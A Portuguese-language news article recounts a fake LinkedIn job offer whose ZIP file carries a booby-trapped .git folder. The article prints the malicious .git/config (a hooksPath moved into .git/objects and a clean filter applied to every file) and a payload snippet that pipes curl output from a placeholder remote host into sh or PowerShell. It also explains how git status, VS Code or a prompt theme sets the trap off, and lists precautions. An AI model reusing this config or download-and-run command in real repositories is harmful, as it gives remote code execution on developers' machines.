Falsa oferta de emprego esconde malware em repositório Git dentro de um ZIP

Uma proposta de emprego que vinha com armadilha

No dia 13 de novembro de 2026, o desenvolvedor russo Evgeny Igumnov publicou no Habr um relato detalhado de como recebeu, via LinkedIn, uma suposta oferta de trabalho de uma empresa chamada Cryptic Heaven, que dizia desenvolver um sistema financeiro para cartões de crédito cripto (fonte). Depois de uma troca de mensagens normal, o recrutador mandou um link externo com um arquivo chamado Contract-2026.zip, contendo um suposto contrato, a descrição da vaga e o código do projeto.

Até aí, nada muito diferente de golpes de phishing já conhecidos no mercado de trabalho remoto. A diferença é que, dentro do ZIP, vinha uma pasta .git inteira, pré-configurada para transformar um comando banal como git status em execução silenciosa de código remoto.

O que tinha dentro do ZIP

O arquivo continha um README.md, um contract.docx com campos em branco (sem CNPJ, valor ou jurisdição) e um repositório Git completo, com três branches: doc (contrato), job (descrição da vaga) e codebase (código do projeto). O README instruía o candidato a navegar entre as branches na ordem job, doc e codebase para ler cada parte: primeiro a descrição da vaga, depois o contrato e só então o código.

O ponto central é que, ao contrário de um git clone normal, receber o .git inteiro dentro do ZIP significa herdar também toda a configuração local do repositório, algo que um clone comum via GitHub ou GitLab não traz. É exatamente essa configuração local que carregava a armadilha.

Hooks e filters: os dois mecanismos usados

O Git tem dois recursos legítimos que permitem rodar programas externos durante operações comuns:

• Git Hooks: scripts disparados em eventos como commit, checkout ou push.
• Git Filters: transformam o conteúdo de arquivos ao entrar ou sair do repositório, geralmente usados para normalização de formato.

Ambos existem para automação legítima. O problema aparece quando alguém configura os dois, de propósito, num repositório que a vítima vai abrir sem checar o que há dentro de .git/config.

No caso analisado, o arquivo .git/config continha:

[core]
 hooksPath = .git/objects/interrupt/

[filter "ltr"]
 clean = .git/ltr

A primeira linha redireciona o caminho padrão de hooks (.git/hooks) para dentro de .git/objects, pasta que praticamente ninguém revisa manualmente porque normalmente guarda apenas objetos internos do Git. Lá dentro estava um hook post-checkout com uma única linha: git status.

A segunda linha define um filtro chamado ltr, acionado por um arquivo .git/info/attributes com o conteúdo * filter=ltr, aplicando-o a todos os arquivos do repositório.

Como um git status vira execução de código

A peça que fecha o golpe é que git status nem sempre se limita a comparar nomes de arquivos: para detectar mudanças de conteúdo, o Git pode passar os arquivos pelo filtro clean configurado. Ou seja, um comando considerado inofensivo no dia a dia do desenvolvedor pode acionar um script arbitrário.

O arquivo .git/ltr fazia exatamente isso. Ele usava dois arquivos de controle (FLAG_FILE e WATCH_LOCK) para implementar um debounce, evitando múltiplas execuções simultâneas quando o Git chama o filtro várias vezes em sequência, e só então disparava o payload:

case "$OSTYPE" in
 darwin*|linux*)
 curl -fsSL "https://<servidor-remoto>/<script>" | sh
 ;;
 msys*|cygwin*)
 curl.exe -fsSL "https://<servidor-remoto>/<script>" | powershell
 ;;
esac

Segundo Igumnov, o servidor remoto usado no caso real estava hospedado num subdomínio do serviço vercelscript.vercel.app. Ele não conseguiu determinar, só pela análise do ZIP, o que exatamente o script de segundo estágio executava, mas o padrão de download e execução silenciosa (com saída redirecionada para /dev/null) já é suficiente para classificar a amostra como maliciosa. No final do script havia um simples cat, que devolve o conteúdo recebido sem alteração, fazendo o Git acreditar que o filtro funcionou normalmente.

Três jeitos de a armadilha disparar sem querer

O relato lista cenários em que o desenvolvedor aciona o filtro sem perceber que está "rodando" algo:

1. Abrir o README no VS Code: o editor detecta repositórios Git automaticamente e pode chamar git status para mostrar o estado do projeto na interface.
2. Prompt de terminal com integração Git: temas que mostram o nome da branch no prompt às vezes usam git status (não só git symbolic-ref ou git rev-parse) para checar mudanças, disparando o filtro só por entrar na pasta com cd.
3. Seguir as instruções do próprio README: ao digitar git checkout job para ler a vaga, o hook post-checkout roda git status, fechando o ciclo.

Mas a observação de fundo vale para qualquer ambiente: a gente costuma considerar o git status um comando seguro que só mostra o estado do repositório. Na prática, ao lidar com uma configuração local não confiável, até essa ação corriqueira pode disparar programas de terceiros.

Evgeny Igumnov, Senior Rust DeveloperМы привыкли считать, что git status — это безопасная команда, которая просто показывает состояние репозитория. Оказывается, при работе с недоверенной локальной конфигурацией Git даже такое привычное действие может запускать сторонние программы.

Windows também é alvo

Um detalhe que passa despercebido é que o script malicioso começa com #!/bin/sh, o que daria a falsa impressão de que só afeta Linux↳Linux34 conteúdosKali Linux em um Servidor VPS: como, quando e por que usar?DevSecOps · dez 2024Construindo um Windows Service ou Linux Daemon com Worker Service & .NET Core – Parte 2Dev (Back & Front) · jul 2020Criando uma WebApi utilizando .NET, Linux e VSCodeDev (Back & Front) · ago 2019Ver tudo em DevSecOps → e macOS. Mas o Git for Windows vem com um ambiente Unix embutido (sh.exe e Bash), então o Git pode executar esses scripts mesmo que o usuário esteja trabalhando em PowerShell ou CMD, sem precisar abrir o Git Bash manualmente. Por isso o payload já trazia uma ramificação específica usando curl.exe e powershell para esse caso.

Por que enviar um ZIP, e não um link de repositório

Um git clone normal, via GitHub ou GitLab, não traz o .git/config local nem hooks já instalados como executáveis prontos. Mandar o repositório inteiro compactado, com a pasta .git já populada, foi a forma encontrada para entregar a configuração maliciosa pronta para uso assim que a vítima descompactasse o arquivo. Essa escolha de distribuição é, por si só, um sinal de alerta: não há motivo legítimo forte para enviar um projeto como ZIP com .git embutido em vez de um link de clone.

O que muda na prática para quem recebe propostas assim

Para quem desenvolve e é abordado por recrutadores em plataformas como o LinkedIn, o caso traz recomendações concretas:

• Desconfiar de ZIPs que já trazem uma pasta .git pronta, em vez de um link para git clone.
• Não abrir repositórios desconhecidos direto na IDE antes de inspecionar a configuração, já que editores como o VS Code podem rodar comandos Git automaticamente ao detectar o repositório.
• Antes de qualquer comando Git, checar manualmente .git/config, .git/info/attributes e a pasta apontada por core.hooksPath usando um visualizador de arquivos ou um ambiente isolado, sem nunca rodar comandos Git dentro do repositório suspeito.
• Se o arquivo já foi aberto e há risco de o filtro ter disparado, trocar segredos e tokens a partir de um dispositivo confiável.

O caso fica em aberto quanto ao conteúdo exato do payload baixado do servidor remoto, já que Igumnov não teve acesso ao script de segundo estágio. Mas o mecanismo de disparo, usando apenas recursos padrão do Git, já basta para tratar qualquer repositório recebido fora do fluxo normal de clone com desconfiança total antes de abrir em qualquer ferramenta.

Fonte: Habr (Rússia)